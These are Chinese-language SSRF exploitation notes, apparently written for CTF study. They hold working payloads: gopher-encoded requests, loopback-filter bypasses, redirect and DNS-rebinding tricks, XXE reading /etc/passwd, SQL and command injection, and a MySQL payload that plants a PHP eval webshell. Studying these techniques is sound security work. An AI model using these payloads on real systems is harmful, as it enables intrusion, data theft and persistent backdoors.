SSRF漏洞

一.前置知识NAT

SSRF:service side request forgery服务器请求伪造

NAT: Network Address Transition 网络地址转换

静态NAT地址转换:内网转化为公网ip

NAT端口映射:通过防火墙NAT可以实现把私网ip端口映射到公网ip端口访问

curl函数三件套

  • curl_init:初始化一个Curl会话,里面一般是放URL地址,也可以放在curl_setopt里面的选项内

  • curl_setopt:设置curl会话的选项,比如CURLOPT_HEADER, 0表示将头文件的信息作为数据流输出

CURLOPT_RETURNTRANSFER,1将curl_exec()获取的信息以文件流的形式返回,而不是直接输出。

  • curl_exec:执行curl会话
  • curl_close:关闭curl会话

二.SSRF漏洞原理

SSRF:service side request forgery服务器请求伪造

攻击目标是从外网无法访问的内部系统

形成原因:服务端提供了从服务器其他应用获取数据的功能

攻击方式:

三.伪协议信息搜集

1.file://

查询网段 file:///etc/hosts

查询存活主机 file:///proc/net/arp

arp协议必须通信才会返回arp表,从http://172.250.250.0 - 172.250.250.254都访问一遍,访问之前就会记录在arp表之中,不用管是否成功

使用burp扫描

之后file:///proc/net/arp中有内容的HW address不是00:00:00

file:///proc/net/fib_trie可以查看路由信息

2.dict:// ftp://

查找存活主机端口

ftp://172.250.250.1:80 慢,不推荐

dict://172.250.250.1:80 更改1和80的位置,burp选择集束炸弹 端口添加常用端口即可

通过length判断是否返回数据

可以利用端口扫描工具

nmap -p- -A -v -T4 目标IP,扫描十分详细,不漏一个端口

3.http://

目录扫描

http:// … /1.php

1.php用御剑字典替换

4.gopher://

利用范围较广:get提交 post提交 redis sql Fastcgi

格式:URL:gopher://<host>:<port>/<gopher-path>

gopher默认是70端口,改成80的web端口

curl gopher://127.0.0.1:70/abcd ——> bcd 第一个字符不转发,使用下划线填充首位

gopher构造

GET提交

1
2
3
GET /name.php?name=1 HTTP/1.1
Host: 172.250.250.4

第三行必须有回车!

url编码(按下面的规则,其他的不编),前面加下划线,粘贴到<gopher-path>位置

空格:%20 问号:%3f 换行%0d%0A

1
gopher://172.250.250.4:80/_GET%20%2Fname.php%3fname=1%20HTTP%2F1.1%0d%0AHost%3A%20172.250.250.4%0d%0A

建议用burp抓包,下划线之后直接粘贴3行,做两次url编码(全部字符)(因为经过ssrf和被攻击服务器两台服务器两次解码,burp不会自动编码)

POST提交

1
2
3
4
5
6
POST /name.php HTTP/1.1
Host: 172.250.250.4
Content-Type: application/x-www-form-urlencoded
Content-Length:13

name=jianjian

Content-Length就是下面的整体长度

POST提交不会自动编码,可以不用burp直接两次编码提交

gopher://172.250.250.4:80/_%25%35%30%25%34%66%25%35%33%25%35%34%25%32%30%25%32%66%25%36%65%25%36%31%25%36%64%25%36%35%25%32%65%25%37%30%25%36%38%25%37%30%25%32%30%25%34%38%25%35%34%25%35%34%25%35%30%25%32%66%25%33%31%25%32%65%25%33%31%25%30%61%25%34%38%25%36%66%25%37%33%25%37%34%25%33%61%25%32%30%25%33%31%25%33%37%25%33%32%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%32%25%33%35%25%33%30%25%32%65%25%33%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%35%34%25%37%39%25%37%30%25%36%35%25%33%61%25%32%30%25%36%31%25%37%30%25%37%30%25%36%63%25%36%39%25%36%33%25%36%31%25%37%34%25%36%39%25%36%66%25%36%65%25%32%66%25%37%38%25%32%64%25%37%37%25%37%37%25%37%37%25%32%64%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%37%35%25%37%32%25%36%63%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35%25%36%34%25%30%61%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%36%65%25%37%34%25%32%64%25%34%63%25%36%35%25%36%65%25%36%37%25%37%34%25%36%38%25%33%61%25%33%31%25%33%33%25%30%61%25%30%61%25%36%65%25%36%31%25%36%64%25%36%35%25%33%64%25%36%61%25%36%39%25%36%31%25%36%65%25%36%61%25%36%39%25%36%31%25%36%65

建议用burp

四、环回地址绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
127.0.0.1
127。0。0。1
0b01111111000000000000000000000001 二进制(0b开头)
017700000001 八进制(0开头)
0x7F000001 十六进制(0x开头)
2130706433 十进制
也可以用点连接
八进制:0177.0.0.1
十六进制:0x7f.0.0.1
http://localhost/
http://0/
http://[0:0:0:0:0:ffff:127.0.0.1]/
http://①②⑦.⓪.⓪.①
可以利用[::]来绕过localhost http://169.254.169.254>>http://[::169.254.169.254]

URL BYPASS
url可能必须以 “xxx” 开头。我们可以利用@来绕过,如 http://[email protected]实际上是以用户名 whoami 连接到站点127.0.0.1,即 http://[email protected] http://127.0.0.1请求是相同的,该请求得到的内容都是127.0.0.1的内容。

短连接绕过https://www.985.so/

五、302重定向绕过

服务器识别限制了内网ip

需要公网服务器

1
2
3
#/tmp/302->index.php
<?php
header('Location:http://127.0.0.1/flag.php');
1
2
#创建公网服务器
php -S 0.0.0.0:7777

六、DNS重绑定绕过

服务器如果拿到域名会对域名dns解析,拿到ip地址

服务器访问时又会解析一次

让第一次dns检查的ip合法,第二次解析是内网ip,就达到了目的

DNS的TTL机制:域名和ip绑定关系的Cache存活的最长时间

我们需要在缓存失效之后重新访问这个url就能获取被更换的ip

一个TTL=0的网站

http://lock.cmpxchg8b.com/rebinder.html

两个顺序无所谓,不成功换公网ip(多试几次

ssrf直接访问http://deb74166.7f000001.rbndr.us

七、ssrf命令执行

1.信息搜集

file查找存活主机

dict查询内网主机开放端口

http目录扫描

2.漏洞页面执行代码

get可以直接提交url

也可以用gopher伪协议:gopher://ip:80/_粘贴的内容

ip=127.0.0.1;ls

八、常见漏洞函数

SSRF攻击可能存在任何语言编写的应用,接下来将举例php中可能存在SSRF漏洞的函数。

1、file_get_contents() readfile()

下面的代码使用file_get_contents函数从用户指定的url获取图片。然后把它用一个随即文件名保存在硬盘上,并展示给用户。

1
2
3
4
5
6
7
8
9
10
11
<?php
if (isset($_POST['url']))
{
$content = file_get_contents($_POST['url']);
$filename ='./images/'.rand().';img1.jpg';
file_put_contents($filename, $content);
echo $_POST['url'];
$img = "<img src=\"".$filename."\"/>";
}
echo $img;
?>

2、sockopen():

以下代码使用fsockopen函数实现获取用户制定url的数据(文件或者html)。这个函数会使用socket跟服务器建立tcp连接,传输原始数据。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php 
function GetFile($host,$port,$link)
{
$fp = fsockopen($host, intval($port), $errno, $errstr, 30);
if (!$fp) {
echo "$errstr (error number $errno) \n";
} else {
$out = "GET $link HTTP/1.1\r\n";
$out .= "Host: $host\r\n";
$out .= "Connection: Close\r\n\r\n";
$out .= "\r\n";
fwrite($fp, $out);
$contents='';
while (!feof($fp)) {
$contents.= fgets($fp, 1024);
}
fclose($fp);
return $contents;
}
}
?>

3、curl_exec():

cURL这是另一个非常常见的实现,它通过 PHP获取数据。文件/数据被下载并存储在“curled”文件夹下的磁盘中,并附加了一个随机数和“.txt”文件扩展名。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php 
if (isset($_POST['url']))
{
$link = $_POST['url'];
$curlobj = curl_init();
curl_setopt($curlobj, CURLOPT_POST, 0);
curl_setopt($curlobj,CURLOPT_URL,$link);
curl_setopt($curlobj, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($curlobj);
curl_close($curlobj);

$filename = './curled/'.rand().'.txt';
file_put_contents($filename, $result);
echo $result;
}
?>
1
2
3
4
5
6
一般情况下PHP不会开启fopen的gopher wrapper
file_get_contents的gopher协议不能URL编码
file_get_contents关于Gopher的302跳转会出现bug,导致利用失败
curl/libcurl 7.43 上gopher协议存在bug(%00截断) 经测试7.49 可用
curl_exec() 默认不跟踪跳转,
file_get_contents() file_get_contents支持php://input协议

九、XXE+SSRF

源代码以xml形式post提交

1
2
3
4
5
6
POST /doLogin.php HTTP/1.1
Host:172.250.250.6
Content-Type:application/xml;charset=utf-8
Content-Length:65

<user><username>admin</username><password>admin</password></user>

用gopher伪协议提交

gopher://172.250.250.6:80/_(burp要对前面编一次,后面两次)

xxe利用:

1
2
3
4
5
6
url=gopher://172.250.250.6:80/_POST /doLogin.php HTTP/1.1
Host: 192.168.1.10
Content-Type:application/xml;charset=utf-8
Content-Length:137

<!DOCTYPE user [<!ENTITY benben SYSTEM "file:///etc/passwd">]><user><username>&benben;</username><password>&benben;</password></user>

file伪协议读取内容

十、ssrf+sql注入

GET注入->访问http注入

注意在输入栏栏提交的注释符为–%20不用–+,所有空格必须%20编码(输入栏自动编一次码,所以输入的应当编一次码)

在hackbar的POST提交的内容不会进行编码,所以必须手动两次编码!!!

POST注入->gopher

1
2
3
4
5
6
gopher://172.250.250.11:80/_POST /Less-11/index.php HTTP/1.1
Host:172.250.250.11
Content-Type:application/x-www-form-urlencoded
Content-Length:53

uname=-1' union select 1,2 #&passwd=123&submit=Submit

对_之后的内容两次url编码

去响应代码查回显

十一、ssrf+文件上传

前提是有上传文件的地方

multipart/form-data

分界线拼接

upload_file对应文件

${Boundary}可以随意替换,–${Boundary}作为分界线,最后完结多俩减号

奇技淫巧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php
error_reporting(0);
highlight_file(__FILE__);
$url=$_POST['url'];
$x=parse_url($url);
if($x['scheme']==='http'||$x['scheme']==='https'){
if(!preg_match('/localhost|127.0.0/')){
$ch=curl_init($url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result=curl_exec($ch);
curl_close($ch);
echo ($result);
}
else{
die('hacker');
}
}
else{
die('hacker');
}
  • parse_url:解析一个 URL 并返回一个关联数组,包含在 URL 中出现的各种组成部分。

image-20210908085752772

过滤了127.0.0.1和localhost,参考文章第四部分(环回地址绕过)

ban了0,1

1
preg_match('/localhost|1|0|。/i', $url)

上面的绕过都行不通,使用302重定向绕过

1
http://sudo.cc

这个域名指向127.0.0.1可以直接用

或者自己vps搭建ssrf.php

1
2
3
4
<?php
header("Location:http://127.0.0.1/flag.php");

http://yourdomain/ssrf.php

或者使用dns外带(dns前面加r.)

url=http://r.hba3zw.ceye.io/flag.php

长度限制

1
2
url=http://0/flag.php
# 0在linux系统中会解析成127.0.0.1在windows中解析成0.0.0.0

最短payload

gethostbyname()

1
2
$ip = gethostbyname($x['host']);
filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE)

获取真实ip,所以域名指向方法不能再使用(必须数字ip),可以使用 302 跳转方法和 dns rebinding 方法

filter_var():

1
2
3
4
5
6
7
8
9
10
# php filter函数
filter_var() 获取一个变量,并进行过滤
filter_var_array() 获取多个变量,并进行过滤
......
# PHP 过滤器
FILTER_VALIDATE_IP 把值作为 IP 地址来验证,只限 IPv4 或 IPv6 或 不是来自私有或者保留的范围
FILTER_FLAG_IPV4 - 要求值是合法的 IPv4 IP(比如 255.255.255.255)
FILTER_FLAG_IPV6 - 要求值是合法的 IPv6 IP(比如 2001:0db8:85a3:08d3:1319:8a2e:0370:7334)
FILTER_FLAG_NO_PRIV_RANGE - 要求值是 RFC 指定的私域 IP (比如 192.168.0.1)
FILTER_FLAG_NO_RES_RANGE - 要求值不在保留的 IP 范围内。该标志接受 IPV4 和 IPV6 值。

RFC:10开头,172.16-172.31,192.168开头的内网地址

题目的过滤器ban内网地址

依然使用302绕过即可

要求url必须包含某些内容

1
2
3
if(preg_match('/^http:\/\/ctf\..*show$/i',$url)){
echo file_get_contents($url);
}

需要http://ctf.开头,show结束

URL解析是这样的:

1
2
完整url:
scheme:[//[user[:password]@]host[:port]][/path][?query][#fragment]

也就是最后一个@之后host会被浏览器识别

payload:url=http://[email protected]/flag.php?show

打无密码mysql

抓包发现returl可能有ssrf

image-20221006173611587

借助Gopherus工具生成payload

select "<?php @eval($_POST[1]);?>" into outfile "/var/www/html/1.php"

完整payload

Show Code
gopher://127.0.0.1:3306/_%25a3%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2572%256f%256f%2574%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2547%2500%2500%2500%2503%2573%2565%256c%2565%2563%2574%2520%2522%253c%253f%2570%2568%2570%2520%2540%2565%2576%2561%256c%2528%2524%255f%2550%254f%2553%2554%255b%2531%255d%2529%253b%253f%253e%2522%2520%2569%256e%2574%256f%2520%256f%2575%2574%2566%2569%256c%2565%2520%2522%252f%2576%2561%2572%252f%2577%2577%2577%252f%2568%2574%256d%256c%252f%2531%252e%2570%2568%2570%2522%253b%2501%2500%2500%2500%2501 

注意,把工具生成的payload的下划线后面在进行一次url编码!